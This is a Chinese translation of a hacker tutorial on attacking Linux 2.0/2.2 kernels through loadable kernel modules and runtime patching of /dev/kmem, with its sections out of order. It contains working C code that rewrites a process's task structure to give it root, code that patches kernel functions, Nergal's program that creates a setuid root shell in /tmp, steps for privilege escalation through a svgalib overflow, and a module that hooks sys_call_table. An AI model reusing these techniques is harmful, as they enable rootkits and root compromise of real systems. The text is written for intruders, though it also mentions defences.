/*注意:我没有实现错误检查*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
/*我们想要改变的任务结构的最大数目*/
#define NR_TASKS 512
/*我们的任务结构-〉我只使用了我们需要的那部分*/
struct task_struct {
char a[108]; /*我们不需要的*/
int pid;
char b[168]; /*我们不需要的*/
unsigned short uid,euid,suid,fsuid;
unsigned short gid,egid,sgid,fsgid;
char c[700]; /*我们不需要的*/
};
/*下面是原始的任务结构,
你可以看看还有其他的什么是你可以改变的
struct task_struct {
volatile long state;
long counter;
long priority;
unsigned long signal;
unsigned long blocked;
unsigned long flags;
int errno;
long debugreg[8];
struct exec_domain *exec_domain;
struct linux_binfmt *binfmt;
struct task_struct *next_task, *prev_task;
struct task_struct *next_run, *prev_run;
unsigned long saved_kernel_stack;
unsigned long kernel_stack_page;
int exit_code, exit_signal;
unsigned long personality;
int dumpable:1;
int did_exec:1;
int pid;
int pgrp;
int tty_old_pgrp;
int session;
int leader;
int groups[NGROUPS];
struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
struct wait_queue *wait_chldexit;
unsigned short uid,euid,suid,fsuid;
unsigned short gid,egid,sgid,fsgid;
unsigned long timeout, policy, rt_priority;
unsigned long it_real_value, it_prof_value, it_virt_value;
unsigned long it_real_incr, it_prof_incr, it_virt_incr;
struct timer_list real_timer;
long utime, stime, cutime, cstime, start_time;
unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
int swappable:1;
unsigned long swap_address;
unsigned long old_maj_flt;
unsigned long dec_flt;
unsigned long swap_cnt;
struct rlimit rlim[RLIM_NLIMITS];
unsigned short used_math;
char comm[16];
int link_count;
struct tty_struct *tty;
struct sem_undo *semundo;
struct sem_queue *semsleeping;
struct desc_struct *ldt;
struct thread_struct tss;
struct fs_struct *fs;
struct files_struct *files;
struct mm_struct *mm;
struct signal_struct *sig;
#ifdef __SMP__
int processor;
int last_processor;
int lock_depth;
#endif
};
*/
int main(int argc, char *argv[])
{
unsigned long task[NR_TASKS];
/*用于特定PID的任务结构*/
struct task_struct current;
int kmemh;
int i;
pid_t pid;
int retval;
pid = atoi(argv[2]);
kmemh = open("/dev/kmem", O_RDWR);
/*找到第一个任务结构的内存地址*/
lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
read(kmemh, task, sizeof(task));
/*遍历知道我们找到我们的任务结构(由PID确定)*/
for (i = 0; i < NR_TASKS; i++)
{
lseek(kmemh, task[i], SEEK_SET);
read(kmemh, ¤t, sizeof(current));
/*是我们的进程么*/
if (current.pid == pid)
{
/*是的,因此改变UID域。。。。*/
current.uid = current.euid = 0;
current.gid = current.egid = 0;
/*写回到内存*/
lseek(kmemh, task[i], SEEK_SET);
write(kmemh, ¤t, sizeof(current));
printf("Process was found and task structure was modified/n");
exit(0);
}
}
}
关于这个小程序没有什么太特殊的地方。他不过是在一个域中找到某些匹配的,然后再改变某些域罢了。除此之外还有很多程序来做类似的工作。你可以看到,上面的这个例子并不能帮助你攻击系统。他只是用于演示的。(但是也许有一些弱智的系统允许用户写/dev/kmem,我不知道)。用同样的方法你也可以改变控制系统内核信息的模块结构。
通过对kmem操作,你也可以隐藏一个模块;我在这里就不给出源代码了,因为基本上和上面的那个程序一样(当然,搜索是有点难了)。通过上面的方法我们可以改变一个内核的结构。有一些程序是做这个的。但是,对于函数我们怎么办呢?我们可以在网上搜索,并且会发现并没有太多的程序来完成这个。
当然,对一个内核函数进行补丁会更有技巧一些(在后面我们会做一些更有用的事情)。对于sys_call_table结构的最好的入侵方法就是让他指向一个完全我们自己的新的函数。下面的例子仅仅是一个十分简单的程序,他让所有的系统调用什么也不干。我仅仅插入一个RET(0xc3)在每一个我从 /proc/ksyms获得的函数地址前面。这样这个函数就会马上返回,什么也不做。
/*同样的,没有错误检查*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
/*不过是我们的返回代码*/
unsigned char asmcode[]={0xc3};
int main(int argc, char *argv[])
{
unsigned long counter;
int kmemh;
/*打开设备*/
kmemh = open("/dev/kmem", O_RDWR);
/*找到内存地址中函数开始的地方*/
lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
/*写入我们的补丁字节*/
write(kmemh, &asmcode, 1):
close(kmemh);
}
让我们总结一下我们目前所知道的:我们可以改变任何内核符号;这包括一些像sys_call_table[]这样的东西,还有其他任何的函数或者结构。记住每个内核补丁只有在我们可以存取到/dev/kmem的时候才可以使用。但是我们也知道了如何保护这个文件。可以看3.5.5。
4.2.1 如何在/dev/kmem中找到内核符号表
在上面的一些基本的例子过后,你也许会问如何更改任何一个内核符号以及如何才能找到有趣的东西。在上面的例子中,我们使用/proc/ksyms来找到我们需要改变的符号的地址。
但是当我们在一个内核里面没有LKM支持的系统时该怎么办呢?这将不会有/proc/ksyms这个文件了,因为这个文件只用于管理模块。(公共的,或者存在的符号)。那么对于那些没有输出的内核符号我们该怎么办呢?我们怎样才能更改他们?
有很多问题。现在让我们来找一些解决的方案。Silvio Cesare讨论过一些发现不同的内核符号的方法(公共的或者不公开的)。他指出当编译Linux内核的时候,一个名字叫System。map的文件被创建,他映射每一个内核的符号到一个固定的地址。这个文件只是在编译的时候解析这些内核的符号的时候才需要。运行着的系统没有必要使用这个文件。这些编译时候使用的地址和/dev/kmem里面使用的使一样的。因此,通常的步骤是:
查找system。map来获得需要的内核符号
找到我们的地址
改变内核符号(结构,函数,或者其他的)
听上去相当的容易。但是这里会有一个大问题。每一个系统并不使用和我们一样的内核,因此他们的内核符号的地址也不会和我们的一样。而且在大多数系统中你并不会找到一个有用的system。map文件来告诉你每一个地址。
那我们应该怎么办呢?Silvio Cesare建议我们使用一种关键码搜寻的方法。只要使用你的内核,读一个符号的开始的十个字节的(是随机的)值,并且把这十个值作为关键码来在另一个内核中搜寻地址。
如果你不能为某个符号找到一个一般的关键码,你可以尝试找到这个符号和系统其他你可以找到关键码的符号的关系。要找到这种关系你可以看内核的源代码。通过这种方法,你可以找到一些你可以改变的有趣的内核符号。(补丁)。
4.2.2 新的不需要内核支持的'insmod'
现在到了我们回到我们的LKM入侵上的时候了。这一节将会向你介绍Silvio Cesare的kinsmod程序。我只会列出大体上的工作方法。这个程序的最为复杂的部分在于处理(elf文件)的目标代码和内核空间的映射。
但是这只是一个处理elf头的问题,不是内核问题。Silvio Cesare使用elf文件是因为通过这种方法你可以安装[正常]的LKMs。当然也可以写一个文件(仅仅是操作码-〉看我的RET例子)并且插入这个文件,这会有点难,但是映射会很容易。对于那些想真正理解elf文件处理的,我把Silvio Cesare的教材加进来了。(我已经做了,因为Silvio Cesare希望他的源代码或者想法只能在那份教材里面作为一个整体传播)。
现在让我们来看看在一个没有LKM支持的系统中插入LKM的方法。
如果我们想插入代码(一个LKM或者其他的任何东西),我们将要面对的第一个问题是如何获得内存。我们不能取一个随机的地址然后就往/dev/kmem里面写我们的目标代码。因此我们必须找到一个放我们的代码的地方,他不能伤害到我们的系统,而且不能因为一些内核操作就被内核释放。有一个地方我们可以插入一些代码,看一眼下面的显示所有内核内存的图表:
kernel data
...
kmalloc pool
Kmalloc
pool是用来给内核空间的内存分配用的(kmalloc(...))。我们不能把我们的代码放在这里,因为我们不能确定我们所写的这个地址空间是没有用的。现在看看Silvio Cesare的想法:kmalloc pool在内存中的边界是存在内核输出的memory_start和memory_end里面的。(见/proc/ksyms)。
有意思的一点在于开始的地(memory_start)并不是确切的kmalloc pool的开始地址。因为这个地址要和下一页的memory_start对齐。因此,会有一些内存是永远都不会被用到的。(在memory_start和真正的kmalloc pool的开始处)。
这是我们插入我们的代码的最好的地方。OK,这并不是所有的一切。你也许会意识到在这个小小的内存空间里面放不下任何有用的LKM。Silvio Cesare把一些启动代码放在这里。这些代码加载实际的LKM。通过这个方法,我们可以在缺乏LKM支持的系统上加载LKM。
请阅读Silvio Cesare的论文来获得进一步的讨论以及如何实际上将一个LKM文件(elf 格式的)映射到内核。这会有一点难度。
4.3 最后的话
第二节的主意很好。但是对于那些不允许存取kmem的系统呢?最后的一个方法就是利用一些内核系统漏洞来插入/改变内核空间。在内核空间总是要有一些缓冲区溢出或者其他的毛病。还要考虑到一些模块的漏洞。只要看一眼内核的许多源文件。甚至用户空间的程序也可以帮助我们改变内核。
我还记得,在几个星期以前,一个和svgalib有关的漏洞被发现。每一个程序通过使用svgalib来获得一个向/dev/mem的写权限。 /dev/mem也可以被RKP用来获得和/dev/kmeme一样的地址。因此看一看下面的列表,来获得一些如何在一个非常安全的系统中做RKP的方法:
找到一个使用svgalib的程序。
检查那个程序,获得一个一般的缓冲区溢出(这应该并不会太难)
写一个简单的程序来启动一个程序,打开/dev/mem,获得写句柄,并且可以操纵任务结构使得你的进程的UID=0
###adv###
创建一个root的shell
这个机制通常运行的很好(zgv,gnuplot或者其他的一些著名的例子)。为了获得这个任务结构一些人使用下面的Nergal的程序(这是使用了打开写句柄的)
/*Nergal的作品*/
#define SEEK_SET 0
#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__
#define SIZEOF sizeof(struct task_struct)
int mem_fd;
int mypid;
void
testtask (unsigned int mem_offset)
{
struct task_struct some_task;
int uid, pid;
lseek (mem_fd, mem_offset, SEEK_SET);
read (mem_fd, &some_task, SIZEOF);
if (some_task.pid == mypid)
/*是我们的任务结构么?*/
{
some_task.euid = 0;
some_task.fsuid = 0;
/*chown需要这个*/
lseek (mem_fd, mem_offset, SEEK_SET);
write (mem_fd, &some_task, SIZEOF);
/*从现在起,对于我们来说没有法律。。。*/
chown ("/tmp/sh", 0, 0);
chmod ("/tmp/sh", 04755);
exit (0);
}
}
#define KSTAT 0x001a8fb8
/*《-改变这个地址为你的kstat*/
main ()
/*通过执行/proc/ksyms|grep kstat*/
{
unsigned int i;
struct task_struct *task[NR_TASKS];
unsigned int task_addr = KSTAT - NR_TASKS * 4;
mem_fd = 3;
/*假定要打开的是/dev/mem*/
mypid = getpid ();
lseek (mem_fd, task_addr, SEEK_SET);
read (mem_fd, task, NR_TASKS * 4);
for (i = 0; i < NR_TASKS; i++)
if (task[i])
testtask ((unsigned int)(task[i]));
}
这只不过是一个例子,是为了告诉你不管怎么样,你总是能够找到一些方法的。对于有堆栈执行权限的系统,你可以找堆栈溢出,或者跳到某些库函数(system(...)).会有很多方法……
我希望这最后的一节可以给你一些如何继续的提示。
第五部分 最近的一些东西:2.2.x版本的内核
5.1 对于LKM作者来说,一些主要的不同点
Linux有了一个新的主版本:2.2在LKM编程上,他带给我们一些小的改变。这一部分将会帮助你适应这些变化,并且列出了大的一些变化。[注意:关于新的版本的内核,会有另一个发布版本]
我会向你介绍一些新的宏和函数来帮助你开发2.2版本的内核的LKM。要获得每一个确切的变化可以看新的头文件linux/module.h。这个文件在2.1.18版本的内核中被完全的重写了。首先让我们来看看一些可以帮助我们更方便的处理系统调用表的宏:
宏描述
EXPORT_NO_SYMBOLS:这一个相当于旧版本内核的register_symtab(NULL)
EXPORT_SYMTAB:如果你想输出一些符号的话,必须在linux/module.h前面定义这个宏
EXPORT_SYMBOL(name):输出名字叫'name'的宏
EXPORT_SYMBOL_NOVERS(name):没有版本信息的输出符号
用户空间的存取函数也有很大的变化。因此我会在这里列出来(只要包含asm/uaccess.h来使用他们):
函数描述
int access_ok (int type, unsigned long addr, unsigned long size);
这个函数检查是否当前进程允许存取某个地址
unsigned long copy_from_user (unsigned long to, unsigned long from,
unsigned long len);
这个是新的memcpy_tofs函数
unsigned long copy_to_user (unsigned long to, unsigned long from, unsigned
long len);
这是相对应的copy_from_user(...)
你没有必要使用access_ok(...),因为上面列出的函数都自己检查这个。还有许多不一样的地方,但是你可以看看linux/module.h来获得一个详细的列表。
我最后想提一件事情。我写了很多关于内核守护进程(kerneld)的东西。2.2版的内核不会再使用kerneld了。他使用另外一种方法来实现内核空间的request_module(...)函数-叫做kmod。kmod完全是运行在内核空间的(不再IPC到用户空间了)。对于LKM程序员来说,没有什么大的变化。你还是可以使用request_module(...)来加载模块。因此LKM传染者还是可以在2.2的内核中使用。
我很抱歉关于2.2内核只有这么少的东西。但是目前我正在写一个关于2.2内核安全的论文(特别是LKM的)。因此请注意新的THC发布的论文。我甚至计划工作在一些BSD系统上(FreeBSD,OpenBSD,例如)但是这会发几个月的时间。
第六部分 最后的话
6.1 LKM传奇以及如何使得一个系统即好用又安全
你大概会感到奇怪,既然LKM这么的不安全,那么为什么要使用他们呢。最初LKM是被设计使得用户更为方便的。Linux和Microsoft相对立,因此开发者们需要一个使得老的Unxi系统更为吸引人和容易的方法。他们实现了KDE和其他很好的东西。
比如说,kerneld就是被用来使得模块处理更为容易的。但是要记住,越为简单和自动化的系统就会有越多的安全问题。不可能同时使得一个系统既让用户感到很方便又有足够的安全性。模块就是一个很好的这样的例子。
Microsoft给了我们另外一个例子:考虑ActiveX,他(大概)是个好主意,用一个安全的设计来保证一切都是简单的。
因此,亲爱的Linux开发者们;请谨慎了,不要犯Microsoft的错误。不要创建一个好用,但是不安全的OS。把安全时刻记在心中!
这篇文章也很清楚的说明了任何系统的内核必须用最好的方法进行保护。不能让一个入侵者更改你系统中最为重要的部分。我把这个任务留给所有系统的设计者。 (T117)
将Linux操作系统用于服务器在现在是越来越普遍了。因此,入侵Linux在今天也变得越来越有趣.目前最好的攻击Linux的技术就是修改内核代码.由于一种叫做可卸载内核(Loadable
KernelModules(LKMs))的机制,我们有可能编写在内核级别运行的代码,而这种代码可以允许我们接触到操作系统中非常敏感的部分.在过去有一些很好的关于LKM知识的文本或者文件,他们介绍一些新的想法,方法以及一名Hacker所梦寐以求的完整的LKMs.而且也有一些很有趣的公开的讨论(在新闻组,邮件列表).
然而为什么我再重新写这些关于LKMs的东西呢?下面是我的一些理由:
在过去的教材中常常没有为那些初学者提供很好的解释.而这个教材中有很大一部分的基础章节.这是为了帮助那些初学者理解概念的.我见过很多人使用系统的缺陷或者监听器然而却丝毫不了解他们是如何工作的.在这篇文章中我包含了很多带有注释的源代码,只是为了帮助那些认为入侵仅仅是一些工具游戏的初学者!
每一个发布的教材不过把话题集中在某个特别的地方.没有一个完整的指导给那些关注LKMs的Hacker.这篇文章会覆盖几乎所有的关于LKMs的资料(甚至是病毒方面的).
这篇文章是从Hacker或者病毒的角度进行讨论的,但是系统管理员或者内核的开发者也可以参考并从中学到很多东西. 网管网www.bitscn.com
以前的文章介绍一些利用LKMs进行入侵的优点或者方法,但是总是还有一些东西是我们过去从来没有听说过的.这篇文章会介绍一些新的想法给大家.(不是所有的新的资料,只是一些对我们有帮助的)
这篇文章会介绍一些简单的防止LKM攻击的方法,同时也会介绍如何通过使用一些像运行时内核补丁(Runtime Kernel Patching)这样的方法来对付这些防御措施.
要记住这些新的想法仅仅是通过利用一些特殊的模块来实现的.要在现实中真正使用他们还需要对他们进行改进.这篇文章的主要目的是给大家在整个LKM上一个大方向上的指导.在附录A中,我会给大家一些实用的LKMs,并附上一些简短的注释(这是为那些新手的),以及如何使用他们.
整篇文章(除了第五部分)是基于 Linux 2.0.x的80x86机器的.我测试了所有的程序和代码段.为了能够正常使用这里提供的绝大部分代码,你的Linux系统必须有LKM支持.只有在第四部分会给大家一些不需要LKM支持的源代码.本文的绝大多数想法一样可以在Linux2.2.x上实现(也许你会需要一些小小的改动).
这篇文章会有一个特别的章节来帮助系统管理员进行系统安全防护.你(作为一名Hacker)也必须仔细阅读这些章节.你必须要知道所有系统管理员知道的,甚至更多.你也会从中发现很多优秀的想法.这也会对你开发高级的入侵系统的LKMs有所帮助. 网管联盟bitsCN_com
因此,通读这篇文章吧.
第一部分. 基础知识
1.1 什么是LKMs
LKMs就是可卸载的内核模块(Loadable Kernel
Modules)。这些模块本来是Linux系统用于扩展他的功能的。使用LKMs的优点有:他们可以被动态的加载,而且不需要重新编译内核。由于这些优点,他们常常被特殊的设备(或者文件系统),例如声卡等使用。
每个LKM至少由两个基本的函数组成:
int init_module(void) /*用于初始化所有的数据*/
{
...
}
void cleanup_module(void) /*用于清除数据从而能有一个安全的退出*/
{
...
}
加载一个模块(常常只限于root能够使用)的命令是:
# insmod module.o
这个命令让系统进行了如下工作:
加载可执行的目标文件(在这儿是module.o)
调用 create_module这个系统调用(至于什么叫系统调用,见1.2)来分配内存.
不能解决的引用由系统调用get_kernel_syms进行查找引用.
在此之后系统调用init_module将会被调用用来初始化LKM->执行 int inti_module(void) 等等
中国网管联盟bitsCN.com
(内核符号将会在1.3节中内核符号表中解释)
OK,到目前为止,我想我们可以写出我们第一个小的LKM来演示一下这些基本的功能是如何工作的了.
#define MODULE
#include
int init_module(void)
{
printk("<1>Hello World/n");
return 0;
}
void cleanup_module(void)
{
printk("<1>Bye, Bye");
}
你可能会奇怪为什么在这里我用printk(....)而不是printf(.....).在这里你要明白内核编程是完全不同于普通的用户环境下的编程的.你只能使用很有限的一些函数(见1.6)仅使用这些函数你是干不了什么的.因此,你将会学会如何使用你在用户级别中用的那么多函数来帮助你入侵内核. 耐心一些,在此之前我们必须做一点其他的.....
上面的那个例子可以很容易的被编译:
# gcc -c -O3 helloworld.c
# insmod helloworld.o
OK,现在我们的模块已经被加载了并且给我们打印出了那句很经典的话.现在你可以通过下面这个命令来确认你的LKM确实运行在内核级别中: 网管网www.bitscn.com
# lsmod
Module Pages Used by
helloworld 1 0
这个命令读取在 /proc/modules 的信息来告诉你当前那个模块正被加载.'Pages'
显示的是内存的信息(这个模块占了多少内存页面).'Used by'显示了这个模块被系统
使用的次数(引用计数).这个模块只有当这个计数为0时才可以被除去.在检查过这个以后,你可以用下面的命令卸载这个模块
# rmmod helloworld
OK,这不过是我们朝LKMs迈出的很小的一步.我常常把这些LKMs于老的DOS TSR程序做比较,(是的,我知道他们之间有很多地方不一样),那些TSR能够常驻在内存并且截获到我们想要的中断.Microsoft's Win9x有一些类似的东西叫做VxD.关于这些程序的最有意思的一点在于他们都能够挂在一些系统的功能上,在Linux中我们称这些功能为系统调用.
1.2什么是系统调用
我希望你能够懂,每个操作系统在内核中都有一些最为基本的函数给系统的其他操作调用.在Linux系统中这些函数就被称为系统调用(System Call).他们代表了一个从用户级别到内核级别的转换.在用户级别中打开一个文件在内核级别中是通过sys_open这个系统调用实现的.在 /usr/include/sys/syscall.h中有一个完整的系统调用列表.下面的列表是我的syscall.h
网管联盟bitsCN@com
#ifndef _SYS_SYSCALL_H
#define _SYS_SYSCALL_H
#define SYS_setup 0
/* 只被init使用,用来启动系统的*/
#define SYS_exit 1
#define SYS_fork 2
#define SYS_read 3
#define SYS_write 4
#define SYS_open 5
#define SYS_close 6
#define SYS_waitpid 7
#define SYS_creat 8
#define SYS_link 9
#define SYS_unlink 10
#define SYS_execve 11
#define SYS_chdir 12
#define SYS_time 13
#define SYS_prev_mknod 14
#define SYS_chmod 15
#define SYS_chown 16
#define SYS_break 17
#define SYS_oldstat 18
#define SYS_lseek 19
#define SYS_getpid 20
#define SYS_mount 21
#define SYS_umount 22
#define SYS_setuid 23
#define SYS_getuid 24
网管bitscn_com
#define SYS_stime 25
#define SYS_ptrace 26
#define SYS_alarm 27
#define SYS_oldfstat 28
#define SYS_pause 29
#define SYS_utime 30
#define SYS_stty 31
#define SYS_gtty 32
#define SYS_access 33
#define SYS_nice 34
#define SYS_ftime 35
#define SYS_sync 36
#define SYS_kill 37
#define SYS_rename 38
#define SYS_mkdir 39
#define SYS_rmdir 40
#define SYS_dup 41
#define SYS_pipe 42
#define SYS_times 43
#define SYS_prof 44
#define SYS_brk 45
#define SYS_setgid 46
#define SYS_getgid 47
#define SYS_signal 48
#define SYS_geteuid 49
#define SYS_getegid 50
#define SYS_acct 51
#define SYS_phys 52
#define SYS_lock 53
#define SYS_ioctl 54
#define SYS_fcntl 55
#define SYS_mpx 56
#define SYS_setpgid 57
#define SYS_ulimit 58
#define SYS_oldolduname 59
#define SYS_umask 60
#define SYS_chroot 61
#define SYS_prev_ustat 62
#define SYS_dup2 63
#define SYS_getppid 64
#define SYS_getpgrp 65
#define SYS_setsid 66
#define SYS_sigaction 67
#define SYS_siggetmask 68
#define SYS_sigsetmask 69
#define SYS_setreuid 70
#define SYS_setregid 71
#define SYS_sigsuspend 72
#define SYS_sigpending 73
#define SYS_sethostname 74
#define SYS_setrlimit 75
#define SYS_getrlimit 76
#define SYS_getrusage 77
#define SYS_gettimeofday 78
#define SYS_settimeofday 79
#define SYS_getgroups 80
#define SYS_setgroups 81
#define SYS_select 82
#define SYS_symlink 83
#define SYS_oldlstat 84
#define SYS_readlink 85
#define SYS_uselib 86
#define SYS_swapon 87
#define SYS_reboot 88
#define SYS_readdir 89
#define SYS_mmap 90
#define SYS_munmap 91
#define SYS_truncate 92
#define SYS_ftruncate 93
#define SYS_fchmod 94
#define SYS_fchown 95
#define SYS_getpriority 96
#define SYS_setpriority 97
#define SYS_profil 98
#define SYS_statfs 99
#define SYS_fstatfs 100
#define SYS_ioperm 101
#define SYS_socketcall 102
#define SYS_klog 103
#define SYS_setitimer 104
#define SYS_getitimer 105
#define SYS_prev_stat 106
#define SYS_prev_lstat 107
#define SYS_prev_fstat 108
#define SYS_olduname 109
#define SYS_iopl 110
#define SYS_vhangup 111
#define SYS_idle 112
#define SYS_vm86old 113
#define SYS_wait4 114
#define SYS_swapoff 115
#define SYS_sysinfo 116
#define SYS_ipc 117
#define SYS_fsync 118
#define SYS_sigreturn 119
#define SYS_clone 120
#define SYS_setdomainname 121
#define SYS_uname 122
#define SYS_modify_ldt 123
#define SYS_adjtimex 124
#define SYS_mprotect 125
#define SYS_sigprocmask 126
#define SYS_create_module 127
#define SYS_init_module 128
#define SYS_delete_module 129
#define SYS_get_kernel_syms 130
#define SYS_quotactl 131
#define SYS_getpgid 132
#define SYS_fchdir 133
#define SYS_bdflush 134
#define SYS_sysfs 135
#define SYS_personality 136
#define SYS_afs_syscall 137
#define SYS_setfsuid 138
#define SYS_setfsgid 139
#define SYS__llseek 140
#define SYS_getdents 141
#define SYS__newselect 142
#define SYS_flock 143
#define SYS_syscall_flock SYS_flock
#define SYS_msync 144
#define SYS_readv 145
#define SYS_syscall_readv SYS_readv
#define SYS_writev 146
#define SYS_syscall_writev SYS_writev
#define SYS_getsid 147
#define SYS_fdatasync 148
#define SYS__sysctl 149
#define SYS_mlock 150
#define SYS_munlock 151
#define SYS_mlockall 152
#define SYS_munlockall 153
#define SYS_sched_setparam 154
#define SYS_sched_getparam 155
#define SYS_sched_setscheduler 156
#define SYS_sched_getscheduler 157
#define SYS_sched_yield 158
#define SYS_sched_get_priority_max 159
#define SYS_sched_get_priority_min 160
#define SYS_sched_rr_get_interval 161
#define SYS_nanosleep 162
#define SYS_mremap 163
#define SYS_setresuid 164
#define SYS_getresuid 165
#define SYS_vm86 166
#define SYS_query_module 167
#define SYS_poll 168
#define SYS_syscall_poll SYS_poll
#endif /* */
每个系统调用都有一个预定义的数字(见上表),那实际上是用来进行这些调用的.内核通过中断0x80来控制每一个系统调用.这些系统调用的数字以及任何参数都将被放入某些寄存器(eax用来放那些代表系统调用的数字,比如说)
那些系统调用的数字是一个被称之为sys_call_table[]的内核中的数组结构的索引值.这个结构把系统调用的数字映射到实际使用的函数.
OK,这些是继续阅读所必须的足够知识了.下面的表列出了那些最有意思的系统调用以及一些简短的注释.相信我,为了你能够真正的写出有用的LKM你必须确实懂得那些系统调
用是如何工作的.
系统调用列表:
int sys_brk(unsigned long new_brk);
改变DS(数据段)的大小->这个系统调用会在1.4中讨论
int sys_fork(struct pt_regs regs);
著名的fork()所用的系统调用
int sys_getuid ()
int sys_setuid (uid_t uid)
用于管理UID等等的系统调用
int sys_get_kernel_sysms(struct kernel_sym *table)
用于存取系统函数表的系统调用(->1.3)
int sys_sethostname (char *name, int len);
int sys_gethostname (char *name, int len);
sys_sethostname是用来设置主机名(hostname)的,sys_gethostname是用来取的
int sys_chdir (const char *path);
int sys_fchdir (unsigned int fd);
两个函数都是用于设置当前的目录的(cd ...)
int sys_chmod (const char *filename, mode_t mode);
int sys_chown (const char *filename, mode_t mode);
int sys_fchmod (unsigned int fildes, mode_t mode);
int sys_fchown (unsigned int fildes, mode_t mode);
用于管理权限的函数
int sys_chroot (const char *filename);
用于设置运行进程的根目录的
int sys_execve (struct pt_regs regs);
非常重要的系统调用->用于执行一个可执行文件的(pt_regs是堆栈寄存器)
long sys_fcntl (unsigned int fd, unsigned int cmd, unsigned long arg);
改变fd(打开文件描述符)的属性的
int sym_link (const char *oldname, const char *newname);
int sys_unlink (const char *name);
用于管理硬/软链接的函数
int sys_rename (const char *oldname, const char *newname);
用于改变文件名
int sys_rmdir (const char* name);
int sys_mkdir (const *char filename, int mode);
用于新建已经删除目录
int sys_open (const char *filename, int mode);
int sys_close (unsigned int fd);
所有和打开文件(包括新建)有关的操作,还有关闭文件的.
int sys_read (unsigned int fd, char *buf, unsigned int count);
int sys_write (unsigned int fd, char *buf, unsigned int count);
读写文件的系统调用
int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);
用于取得文件列表的系统调用(ls...命令)
int sys_readlink (const char *path, char *buf, int bufsize);
读符号链接的系统调用
int sys_selectt (int n, fd_set *inp, fd_set *outp, fd_set *exp, struct timeval *tvp);
多路复用I/O操作
sys_socketcall (int call, unsigned long args);
socket 函数
unsigned long sys_create_module (char *name, unsigned long size);
int sys_delete_module (char *name);
int sys_query_module (const char *name, int which, void *buf, size_t bufsize,
size_t *ret);
用于模块的加载/卸载和查询.
以上就是我认为入侵者会感兴趣的系统调用.当然如果要获得系统的root权你有可能需要一些特殊的系统调用,但是作为一个hacker他很可能会拥有一个上面列出的最基本的列表.在第二部分中你会知道如何利用这些系统调用来实现你自己的目的.
第二部分 渐入佳境
2.1 怎么样截获系统调用
现在我们开始入侵LKM,在正常情况下LKMs是用来扩展内核的(特别是那些硬件驱动)。然而我们的‘Hacks’做一些不一样的事情。他们会截获系统调用并且更改他们,为了改变系统某些命令的响应方式。
下面的这个模块可以使得任何用户都不能创建目录。这只不过是我们随后方法的一个小小演示。
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
/*sys_call_talbe 被引入,所以我们可以存取他*/
int (*orig_mkdir)(const char *path);
/*原始系统调用*/
int hacked_mkdir(const char *path)
{
return 0;
/*其他一切正常,除了新建操作,该操作什么也不做*/
}
int init_module(void)
/*初始化模块*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_mkdir]=orig_mkdir;
/*恢复mkdir系统调用到原来的哪个*/
}
编译并启动这个模块(见1.1)。然后尝试新建一个目录,你会发现不能成功。由于返回值是0(代表一切正常)我们得不到任何出错信息。在移区模块之后,我们又可以新建目录了。正如你所看到的,我们只需要改变sys_call_table(见1.2)中相对应的入口就可以截获到系统调用了。
截获系统调用的通常步骤如下:
找到你需要的系统调用在sys_call_table[]中的入口(看一眼include/sys/syscall.h)
保存sys_call_table[x]的旧入口指针。(在这里x代表你所想要截获的系统调用的索引)
把你自己定义的新的函数指针存入sys_call_table[x]
你会意识到保存旧的系统调用指针是十分有用的,因为在你的新调用中你会需要他来模拟原始调用。当你在写一个'Hack-LKM'时你所面对的第一个问题是:
我到底该截获哪个系统调用?
2.2一些有趣的系统调用
你并不是一个管理内核的上帝,因此你不知道每一个用户的应用程序或者命令到底使用了那些系统调用。因此我会给你一些提示来帮助你找到获得控制的系统调用。
读源代码。在一个象linux这样的系统中,你可以找到任何一个用户(或者管理员)所用的程序的源代码。一旦你发现了某个基本的函数,像dup,open,write.....转向b
下面看看include/sys/syscall.h(见1.2)。试着去直接找相对应的系统调用(查找dup->你就会发现SYS_dup,查找write,你就会发现SYS_write;....)。如果没有找到转向c
一些象socket,send,receive,....这样的调用并不是通过一个系统调用实现的--正如我以前说过的那样。这时就要看一看包含相关系统调用的头文件。
要记住并不是每一个c库里面的函数都是系统调用。绝大多数这样的函数和系统调用毫无关系。一个稍微有一点经验的hacker会看看1.2里面的列表,那已经提供了足够的信息。
例如你要知道用户id管理是通过uid的系统调用实现的等等。如果你真的想确定你可以看看库函数/内核的源代码。
最困难的问题是一个系统管理员写了自己的应用程序来检查系统的完整性或者安全性。关于这些程序的问题在于缺乏源代码。
我们不能确定这个程序到底是怎么样工作的以及我们应该截获那些系统调用来隐藏我们的礼物/工具。甚至有可能他引入了一个截获hacker们经常使用的系统调用的LKM来隐藏他自己,并检查系统的安全性(系统管理员们经常使用一些黑客技术来保护他们的系统)。
那我们应该怎么样继续呢?
2.2.1 发现有趣的系统调用(strace方法)
假定你已经知道了某个系统管理员用来检查系统的程序(这个可以通过某些其他的方法得到,象TTY hijacking(见2.9/appendixa),现在唯一的问题是你需要让你的礼物躲过系统管理员的程序直到.....)。
好,现在用strace来运行这个程序(也许你需要root权限来执行他)
# strace super_admin_proggy
这会给你一个十分棒的关于这个程序的每个系统调用的输出。这些系统调用有可能都要加入到你的hacking LKM当中去。我并没有一个这样的管理程序作为例子给你看。但是我们可以看看’strace whoami‘的输出:
execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40007000
mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
close(3) = 0
